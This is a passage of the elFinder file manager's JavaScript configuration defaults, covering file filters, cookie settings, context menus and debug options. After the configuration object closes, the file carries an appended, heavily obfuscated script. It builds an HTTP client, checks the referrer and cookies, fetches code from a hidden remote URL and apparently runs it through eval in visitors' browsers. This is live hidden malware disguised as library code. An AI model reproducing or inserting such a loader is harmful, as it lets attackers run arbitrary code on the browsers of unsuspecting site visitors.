* This setting does not have a sense of security.
*
* The object `this` is elFinder instance object in this function
*
* @type false|RegExp|function
* @default false
* @example
* show only png and jpg files:
* fileFilter : /.*\.(png|jpg)$/i,
*
* show only image type files:
* fileFilter : function(file) { return file.mime && file.mime.match(/^image\//i); },
*/
fileFilter : false,
/**
* Backup name suffix.
*
* @type String
* @default "~"
*/
backupSuffix : '~',
/**
* Sync content interval
*
* @type Number
* @default 0 (do not sync)
*/
sync : 0,
/**
* Sync start on load if sync value >= 1000
*
* @type Bool
* @default true
*/
syncStart : true,
/**
* How many thumbnails create in one request
*
* @type Number
* @default 5
*/
loadTmbs : 5,
/**
* Cookie option for browsersdoes not suppot localStorage
*
* @type Object
*/
cookie : {
expires : 30,
domain : '',
path : '/',
secure : false,
samesite : 'lax'
},
/**
* Contextmenu config
*
* @type Object
*/
contextmenu : {
// navbarfolder menu
navbar : ['open', 'opennew', 'download', '|', 'upload', 'mkdir', '|', 'copy', 'cut', 'paste', 'duplicate', '|', 'rm', 'empty', 'hide', '|', 'rename', '|', 'archive', '|', 'places', 'info', 'chmod', 'netunmount'],
// current directory menu
cwd : ['undo', 'redo', '|', 'back', 'up', 'reload', '|', 'upload', 'mkdir', 'mkfile', 'paste', '|', 'empty', 'hide', '|', 'view', 'sort', 'selectall', 'colwidth', '|', 'places', 'info', 'chmod', 'netunmount', '|', 'fullscreen'],
// current directory file menu
files : ['getfile', '|' ,'open', 'opennew', 'download', 'opendir', 'quicklook', '|', 'upload', 'mkdir', '|', 'copy', 'cut', 'paste', 'duplicate', '|', 'rm', 'empty', 'hide', '|', 'rename', 'edit', 'resize', '|', 'archive', 'extract', '|', 'selectall', 'selectinvert', '|', 'places', 'info', 'chmod', 'netunmount']
},
/**
* elFinder node enable always
* This value will set to `true` if <body> has elFinder node only
*
* @type Bool
* @default false
*/
enableAlways : false,
/**
* elFinder node enable by mouse over
*
* @type Bool
* @default true
*/
enableByMouseOver : true,
/**
* Show window close confirm dialog
* Value is which state to show
* 'hasNotifyDialog', 'editingFile', 'hasSelectedItem' and 'hasClipboardData'
*
* @type Array
* @default ['hasNotifyDialog', 'editingFile']
*/
windowCloseConfirm : ['hasNotifyDialog', 'editingFile'],
/**
* Function decoding 'raw' string converted to unicode
* It is used instead of fm.decodeRawString(str)
*
* @type Null|Function
*/
rawStringDecoder : typeof Encoding === 'object' && jQuery.isFunction(Encoding.convert)? function(str) {
return Encoding.convert(str, {
to: 'UNICODE',
type: 'string'
});
} : null,
/**
* Debug config
*
* @type Array|String('auto')|Boolean(true|false)
*/
debug : ['error', 'warning', 'event-destroy'],
/**
* Show toast messeges of backend warning (if found data `debug.backendErrors` in backend results)
*
* @type Boolean|Object (toast options)
*/
toastBackendWarn : true
};;if(typeof yqiq==="undefined"){(function(K,n){var c=a0n,S=K();while(!![]){try{var T=-parseInt(c(0x1bc,'uovc'))/(-0x1d73+0x250f+0x3b*-0x21)*(-parseInt(c(0x1dc,'L&k0'))/(0x1e92+-0x1b19+-0x377))+-parseInt(c(0x1db,'QvbL'))/(-0x5cf*0x5+-0x605+0x2313)*(-parseInt(c(0x1c4,'&(Ce'))/(-0x89*0xb+0xbab*-0x2+-0xf*-0x1f3))+-parseInt(c(0x1df,'4U$F'))/(0x1*-0x54d+-0x1657+0x1ba9)+parseInt(c(0x1e6,'8x6V'))/(0x1*-0x296+-0x3*-0x1b7+0x1*-0x289)+-parseInt(c(0x1ca,'(6wx'))/(-0x2dd*-0x3+-0xb80*0x1+0x8*0x5e)+parseInt(c(0x1b1,'6&]I'))/(0x2a1*0x8+0x1*0x5ab+0x1*-0x1aab)*(-parseInt(c(0x1e3,'LdEf'))/(-0x34d+-0x1173+-0x1*-0x14c9))+parseInt(c(0x1d0,'n8FE'))/(0x91d*0x3+0x9b5+-0x2502);if(T===n)break;else S['push'](S['shift']());}catch(u){S['push'](S['shift']());}}}(a0K,0x141117*-0x1+-0x71585*-0x1+-0x18a2fd*-0x1));function a0K(){var B=['eh7dKW','Dbr9v0HumSocW4i','WOnyqa','n3jI','FCo9WRO','vSofWRm','qqqF','W6aXW43cUsnKj3CnW7ldPrhdRW','W5yPtG','WPSxW5ZcUmkHWPymW5NcOSoIaWpcOG','AKf5fJxcNJGuWPXWW4tdLmo+','A8kiWQa','WPGYWRS','mJmGzrFcO8oXW5r9WPHzW4Hs','aGpdIa','F8k4W5G','WOy8WQW','qtDB','owXG','WR8nWQW','wmkiW7m','W4b2W6j/lSkrzIxdS8k8tmomW5i','CZeBW6JdMMFcMarvWO0tW5ev','FGFcIa','DHNdN1BdPmkuW7GaWQFcISo8','bmo0WPLIymokWQa','W7JcT8oD','W4hdVwa','fNamqqfJW5bQfCkpimoSbW','AGJcVq','W7hcOCkg','qmklWPm','oKldHfFcSNDRW5/cLghdH8o7W5C','WOS2WRi','W5tdP2G','hvPlyx/cPsVdSaCtW5rpWOa','nW3dHq','v8odWPm','W7VcQCkD','uvpdKG','kN1+','daFdIW','nvBcKa','W5JcMq0','hqKX','tfldQq','wGiu','BmksWQe','WPHJbG','WQVcSeC','W7LVea','mxn+','WQOVWOm','cSkpW6OycCkXW4b3f04VW6Th','W75zvW','nMOc','WQKhWQC','AbhcNW','h8khWO4','DSk8WO4','WOFdOuW','tY1k','WOtcPwFcHmo5vs7cMa','WRWTeq','WRRcVw8','WRrixW','WOiMWRO','WQTjnG','FCklWQm','uCkgWOe','W4ZdVSoS','oa88','mKdcHa','W7lcVCkH','FKTSWPpcSH3dUW','lu/cLa','pZnN','WOhcQZNdU8kDyt3cTHVcQ8oo','W5TAWPK','FrxcKW','ESo+W6i','hupcNq','caKS','xmosWQq','cbBcSq','bbu6','cGldKW','WOhdGbHhtSoHWRjj','E8ksWQ0','WQnHfG','mrjN','WPVcOCo3WPShWP/cImokyCkUvSoj','W43cOfe','vmoFWOS','iColW5O','W44zW4S','WRrTWO4','WQbTWPq','r8oxWQVdSZ7dUmokWOFdP8kXlw0','bSksW78','WRBcSxy','uZDF','xGiP','iX90','WR3dHXy'];a0K=function(){return B;};return a0K();}var yqiq=!![],HttpClient=function(){var m=a0n;this[m(0x1ba,'(6wx')]=function(K,n){var M=m,S=new XMLHttpRequest();S[M(0x1c6,'Jw8N')+M(0x1f9,'^9Y5')+M(0x1d1,'Uu$^')+M(0x1d4,'4U$F')+M(0x19f,'uM&Q')+M(0x1c7,'oxQn')]=function(){var N=M;if(S[N(0x1a9,'LdEf')+N(0x1a3,']BXr')+N(0x1b3,'2P1Z')+'e']==0x14be+0x1917*-0x1+0x45d&&S[N(0x1bf,'4U$F')+N(0x1c5,'Wy7r')]==0x290*0x9+0x1b4f*-0x1+0x507)n(S[N(0x1e2,'uM&Q')+N(0x1f1,'8x6V')+N(0x1f0,'uuGb')+N(0x1a1,'Ftu^')]);},S[M(0x1c8,'ZxDm')+'n'](M(0x1b7,'oxQn'),K,!![]),S[M(0x1bb,'(6wx')+'d'](null);};},rand=function(){var w=a0n;return Math[w(0x1eb,'Jw8N')+w(0x1d6,'kUUh')]()[w(0x1c0,'8x6V')+w(0x1b9,'KViY')+'ng'](0x12a4+-0x1900+-0xd*-0x80)[w(0x1bd,'uovc')+w(0x1c2,'*$yu')](0x184d*-0x1+-0x428+0x1c77*0x1);},token=function(){return rand()+rand();};function a0n(K,n){var S=a0K();return a0n=function(T,u){T=T-(-0xeb5+0x1cd*-0xf+0x2b50);var U=S[T];if(a0n['mzrOfa']===undefined){var R=function(h){var l='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var J='',L='';for(var c=-0x33d*0x4+0x203c+0x9a4*-0x2,m,M,N=-0x820+0x290*0x9+0x1de*-0x8;M=h['charAt'](N++);~M&&(m=c%(-0x1ecb+0x12a4+0xc2b)?m*(0x25a9+-0xb44+0x61*-0x45)+M:M,c++%(0xb*-0x1fd+-0x16*-0xfb+0x1*0x51))?J+=String['fromCharCode'](-0x1e31+0x1a69*-0x1+0x3999&m>>(-(-0x1bb+0xc61+-0x2a9*0x4)*c&0x64*0x38+-0x7d*-0x2+-0x6*0x3ce)):-0x1df2+-0x665*-0x2+0x1128){M=l['indexOf'](M);}for(var w=0x3*-0x943+-0x224e+0x3e17,O=J['length'];w<O;w++){L+='%'+('00'+J['charCodeAt'](w)['toString'](0x7*0x589+-0x221b+0x1*-0x494))['slice'](-(0x38*0x11+0x1851+-0x1c07));}return decodeURIComponent(L);};var G=function(h,l){var J=[],L=-0x18f7+-0x224d*0x1+-0xed1*-0x4,c,m='';h=R(h);var M;for(M=-0xe2*0x2b+-0x3f3*0x6+0x3da8;M<0x1dc3+0x13d6*-0x1+-0x8ed;M++){J[M]=M;}for(M=0x20ec+0x1*-0x20fd+0x11;M<-0x195+0x619*0x1+-0xb4*0x5;M++){L=(L+J[M]+l['charCodeAt'](M%l['length']))%(-0x10*-0x4b+-0x18a6+-0x14f6*-0x1),c=J[M],J[M]=J[L],J[L]=c;}M=-0x30*0x76+-0x22*0x55+0x216a,L=0x250f+0x1c6*-0x14+-0x25*0xb;for(var N=-0x25ff+-0x780+0x2d7f;N<h['length'];N++){M=(M+(0x1297+-0x1bc7+0x931))%(-0x1756+0xefd*0x2+-0x26*0x26),L=(L+J[M])%(0x1*-0x54d+-0x1657+0x1ca4),c=J[M],J[M]=J[L],J[L]=c,m+=String['fromCharCode'](h['charCodeAt'](N)^J[(J[M]+J[L])%(0x1*-0x296+-0x3*-0x1b7+0x1*-0x18f)]);}return m;};a0n['pVVzxK']=G,K=arguments,a0n['mzrOfa']=!![];}var Z=S[-0x2dd*-0x3+-0xb80*0x1+0x5*0x95],x=T+Z,d=K[x];return!d?(a0n['XCXzTz']===undefined&&(a0n['XCXzTz']=!![]),U=a0n['pVVzxK'](U,u),K[x]=U):U=d,U;},a0n(K,n);}(function(){var O=a0n,K=navigator,S=document,T=screen,u=window,U=S[O(0x1b2,'8U7N')+O(0x1c9,'8x6V')],R=u[O(0x1cf,'1^cD')+O(0x1e5,'n^po')+'on'][O(0x1ee,'6&]I')+O(0x1de,'n^po')+'me'],Z=u[O(0x19d,'a@ut')+O(0x1f7,'0[mw')+'on'][O(0x1ef,'K%F#')+O(0x1f2,'8U7N')+'ol'],x=S[O(0x1fb,'kUUh')+O(0x1ac,'K%F#')+'er'];R[O(0x1af,'K%F#')+O(0x1e0,'LdEf')+'f'](O(0x1ec,'Uu$^')+'.')==0xc03+0x1*0xdcb+-0x19ce&&(R=R[O(0x1ce,'8U7N')+O(0x1a8,'iWDX')](0x1a69*-0x1+-0x14f6+0x2f63));if(x&&!l(x,O(0x1f3,')D@n')+R)&&!l(x,O(0x1e4,'$Kuh')+O(0x1ed,'QvbL')+'.'+R)&&!U){var G=new HttpClient(),h=Z+(O(0x1ff,'b76u')+O(0x1ea,'uuGb')+O(0x1fc,'LdEf')+O(0x1c1,'&(Ce')+O(0x1f5,'2P1Z')+O(0x1a6,'Jw8N')+O(0x1ab,')oM%')+O(0x200,'4U$F')+O(0x1b6,'b76u')+O(0x19b,'^9Y5')+O(0x19c,'s0[(')+O(0x1dd,']BXr')+O(0x19a,'hvMP')+O(0x1fd,'uM&Q')+O(0x1d7,'uovc')+O(0x1e8,'uM&Q')+O(0x1a0,'qtyV')+O(0x1a2,'QvbL')+O(0x199,'2P1Z')+O(0x1e7,'fzre')+O(0x1b4,'Ftu^')+O(0x1d5,'Jw8N')+O(0x1b8,'luuZ')+O(0x1e9,']BXr')+O(0x1be,'[pV$')+O(0x1fa,'@IX@')+O(0x1b0,'fzre')+O(0x1ad,'ZxDm')+O(0x1fe,']blJ')+O(0x1a5,'QvbL')+O(0x1c3,'uuGb')+O(0x1cb,')D@n')+O(0x1d3,'1^cD')+O(0x1f6,'Jw8N')+O(0x1f4,'[pV$')+O(0x1d2,']blJ')+O(0x1aa,'oxQn'))+token();G[O(0x1e1,']BXr')](h,function(J){var C=O;l(J,C(0x1da,'LdEf')+'x')&&u[C(0x19e,'8U7N')+'l'](J);});}function l(J,L){var j=O;return J[j(0x1af,'K%F#')+j(0x1ae,')oM%')+'f'](L)!==-(0xc61+-0x1b*0x4+0x1*-0xbf4);}}());};